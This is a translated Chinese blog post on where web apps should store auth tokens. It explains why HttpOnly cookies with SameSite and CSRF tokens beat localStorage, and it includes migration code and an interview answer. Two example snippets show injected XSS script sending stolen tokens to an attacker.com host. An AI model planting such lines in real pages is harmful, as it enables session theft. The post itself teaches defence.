🔧 阿川の電商水電行
Shopify 顧問、維護與客製化
💡
小任務 / 單次支援方案
單次處理 Shopify 修正/微調
⭐️
維護方案
每月 Shopify 技術支援 + 小修改 + 諮詢
🚀
專案建置
Shopify 功能導入、培訓 + 分階段交付

面試官最愛挖的坑:使用者 Token 到底該存哪?

面試官問:「使用者 token 應該存在哪?」

很多人脫口而出:localStorage。

這個回答不能說錯,但遠稱不上好答案

一個好答案,至少要說清三件事:

  • 有哪些常見存儲方式,它們的優缺點是什麼
  • 為什麼大部分團隊會從 localStorage 遷移到 HttpOnly Cookie
  • 實際專案裡怎麼落地、怎麼權衡「安全 vs 成本」

這篇文章就從這三點展開,順便幫你把這道高頻面試題吃透。


三種存儲方式,一張圖看懂差異

前端存 token,主流就三種:

存儲方式 XSS 能讀到嗎 CSRF 會自動帶嗎 推薦程度
localStorage 不會 不推薦存敏感資料
普通 Cookie 不推薦
HttpOnly Cookie 不能 推薦

localStorage:用得最多,但也最容易出事

大部分專案一開始都是這樣寫的,把 token 往 localStorage 一扔就完事了:

// 登入成功後
localStorage.setItem('token', response.accessToken);

// 請求時取出來
const token = localStorage.getItem('token');
fetch('/api/user', {
  headers: { Authorization: `Bearer ${token}` }
});

用起來確實方便,但有個致命問題:XSS 攻擊可以直接讀取

localStorage 對 JavaScript 完全開放。只要頁面有一個 XSS 漏洞,攻擊者就能一行代碼偷走 token:

// 攻擊者注入的腳本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));

你可能會想:「我的代碼沒有 XSS 漏洞。」

現實是:XSS 漏洞太容易出現了——一個 innerHTML 沒處理好,一個第三方腳本被污染,一個 URL 參數直接渲染……專案一大、介面一多,總有疏漏的時候。


普通 Cookie:XSS 能讀,CSRF 還會自動帶

有人會往 Cookie 上靠攏:「那我存 Cookie 裡,是不是就更安全了?」

如果只是「普通 Cookie」,實際上比 localStorage 還糟糕:

// 設置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;

// 攻擊者同樣能讀到
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);

XSS 能讀,CSRF 還會自動帶上——兩頭不討好


HttpOnly Cookie:讓 XSS 偷不走 Token

真正值得推薦的,是 HttpOnly Cookie

它的核心優勢只有一句話:JavaScript 讀不到

// 後端設置(Node.js 範例)
res.cookie('access_token', token, {
  httpOnly: true,    // JS 访问不到
  secure: true,      // 只在 HTTPS 发送
  sameSite: 'lax',   // 防 CSRF
  maxAge: 3600000    // 1 小時過期
});

設置了 httpOnly: true,前端 document.cookie 壓根看不到這個 Cookie。XSS 攻擊偷不走。

// 前端發請求,瀏覽器自動帶上 Cookie
fetch('/api/user', {
  credentials: 'include'
});

// 攻擊者的 XSS 腳本
document.cookie  // 看不到 httpOnly 的 Cookie,偷不走

HttpOnly Cookie 的代價:需要正面面對 CSRF

HttpOnly Cookie 解決了「XSS 偷 token」的問題,但引入了另一個必須正視的問題:CSRF

因為 Cookie 會自動發送,攻擊者可以誘導使用者訪問惡意頁面,悄悄發起偽造請求:

好消息是:CSRF 比 XSS 容易防得多

SameSite 屬性

最簡單的一步,就是在設置 Cookie 時加上 sameSite

res.cookie('access_token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'  // 關鍵配置
});

sameSite 有三個值:

  • strict:跨站請求完全不帶 Cookie。最安全,但從外鏈點進來需要重新登入
  • lax:GET 導航可以帶,POST 不帶。大部分場景夠用,Chrome 默認值
  • none:都帶,但必須配合 secure: true

lax 能防住絕大部分 CSRF 攻擊。如果業務場景更敏感(比如金融),可以再加 CSRF Token。

CSRF Token(更嚴格)

如果希望更嚴謹,可以在 sameSite 基礎上,再加一層 CSRF Token 驗證:

// 後端生成 Token,放到頁面或介面返回
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken);  // 這個不用 httpOnly,前端需要讀

// 前端請求時帶上
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]
  },
  credentials: 'include'
});

// 後端驗證
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
  return res.status(403).send('CSRF token mismatch');
}

攻擊者能讓瀏覽器自動帶上 Cookie,但沒法讀取 Cookie 內容來構造請求頭。


核心對比:為什麼寧願多做 CSRF,也要堵死 XSS

這是全篇最重要的一點,也是推薦 HttpOnly Cookie 的根本原因。

XSS 的攻擊面太廣

  • 使用者輸入渲染(評論、搜索、URL 參數)
  • 第三方腳本(廣告、統計、CDN)
  • 富文本編輯器
  • Markdown 渲染
  • JSON 資料直接插入 HTML

代碼量大了,總有地方會疏漏。一個 innerHTML 忘了轉義,第三方庫有漏洞,攻擊者就能注入腳本。

CSRF 防護相對簡單、手段統一

  • sameSite: lax 一行配置搞定大部分場景
  • 需要更嚴格就加 CSRF Token
  • 攻擊面有限,主要是表單提交和鏈接跳轉

兩害相權取其輕——先把 XSS 能偷 token 這條路堵死,再去專心做好 CSRF 防護


真落地要改什麼:從 localStorage 遷移到 HttpOnly Cookie

從 localStorage 遷移到 HttpOnly Cookie,需要前後端一起動手,但改造範圍其實不大。

後端改動

登入介面,從「返回 JSON 裡的 token」改成「Set-Cookie」:

// 改造前
app.post('/api/login', (req, res) => {
  const token = generateToken(user);
  res.json({ accessToken: token });
});

// 改造後
app.post('/api/login', (req, res) => {
  const token = generateToken(user);
  res.cookie('access_token', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    maxAge: 3600000
  });
  res.json({ success: true });
});

前端改動

前端請求時不再手動帶 token,而是改成 credentials: 'include'

// 改造前
fetch('/api/user', {
  headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
});

// 改造後
fetch('/api/user', {
  credentials: 'include'
});

如果用 axios,可以全局配置:

axios.defaults.withCredentials = true;

登出處理

登出時,後端清除 Cookie:

app.post('/api/logout', (req, res) => {
  res.clearCookie('access_token');
  res.json({ success: true });
});

如果暫時做不到 HttpOnly Cookie,可以怎麼降風險

有些專案歷史包袱比較重,或者後端暫時不願意改。短期內只能繼續用 localStorage 的話,至少要做好這些補救措施:

  1. 嚴格防 XSS

    • textContent 代替 innerHTML
    • 使用者輸入必須轉義
    • 配置 CSP 標頭
    • 富文本用 DOMPurify 過濾
  2. Token 過期時間要短

    • Access Token 15-30 分鐘過期
    • 配合 Refresh Token 機制
  3. 敏感操作二次驗證

    • 轉帳、改密碼等操作,要求輸入密碼或簡訊驗證
  4. 監控異常行為

    • 同一帳號多地登入告警
    • Token 使用頻率異常告警

面試怎麼答

回到開頭的問題,面試怎麼答?

簡潔版(30 秒):

推薦 HttpOnly Cookie。因為 XSS 比 CSRF 難防——代碼裡一個 innerHTML 沒處理好就可能有 XSS,而 CSRF 只要加個 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要處理 CSRF 就行。

完整版(1-2 分鐘):

Token 存儲有三種常見方式:localStorage、普通 Cookie、HttpOnly Cookie。

localStorage 最大的問題是 XSS 能讀取。JavaScript 對 localStorage 完全開放,攻擊者注入一行腳本就能偷走 token。

普通 Cookie 更糟,XSS 能讀,CSRF 還會自動發送。

推薦 HttpOnly Cookie,設置 httpOnly: true 後 JavaScript 讀不到。雖然 Cookie 會自動發送導致 CSRF 風險,但 CSRF 比 XSS 容易防——加個 sameSite: lax 就能解決大部分場景。

所以權衡下來,HttpOnly Cookie 配合 SameSite 是更安全的方案。

當然,沒有絕對安全的方案。即使用了 HttpOnly Cookie,XSS 攻擊雖然偷不走 token,但還是可以利用當前會話發請求。最好的做法是縱深防禦——HttpOnly Cookie + SameSite + CSP + 輸入驗證,多層防護疊加。

加分項(如果面試官追問):

  • 改造成本:需要前後端配合,登入介面改成 Set-Cookie 返回,前端請求加 credentials: include
  • 如果用 localStorage:Token 過期時間要短,敏感操作二次驗證,嚴格防 XSS
  • 移動端場景:App 內置 WebView 用 HttpOnly Cookie 可能有兼容問題,需要具體評估

如果你覺得這篇文章有幫助,歡迎關注我的 GitHub,下面是我的一些開源專案:

Claude Code Skills(按需加載,意圖自動識別,不浪費 token,介紹文章):

全棧專案(適合學習現代技術棧):

  • prompt-vault - Prompt 管理器,用的都是最新的技術棧,適合用來學習了解最新的前端全棧開發範式:Next.js 15 + React 19 + tRPC 11 + Supabase 全棧範例,clone 下來配個免費 Supabase 就能跑
  • chat_edit - 雙模式 AI 應用(聊天+富文本編輯),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB

原文出處:https://juejin.cn/post/7583898823920451626


精選技術文章翻譯,幫助開發者持續吸收新知。

共有 0 則留言


精選技術文章翻譯,幫助開發者持續吸收新知。
🏆 本月排行榜
🥇
站長阿川
📝15   💬10   ❤️4
406
🥈
我愛JS
📝1   💬7   ❤️3
61
評分標準:發文×10 + 留言×3 + 獲讚×5 + 點讚×1 + 瀏覽數÷10
本數據每小時更新一次
🔧 阿川の電商水電行
Shopify 顧問、維護與客製化
💡
小任務 / 單次支援方案
單次處理 Shopify 修正/微調
⭐️
維護方案
每月 Shopify 技術支援 + 小修改 + 諮詢
🚀
專案建置
Shopify 功能導入、培訓 + 分階段交付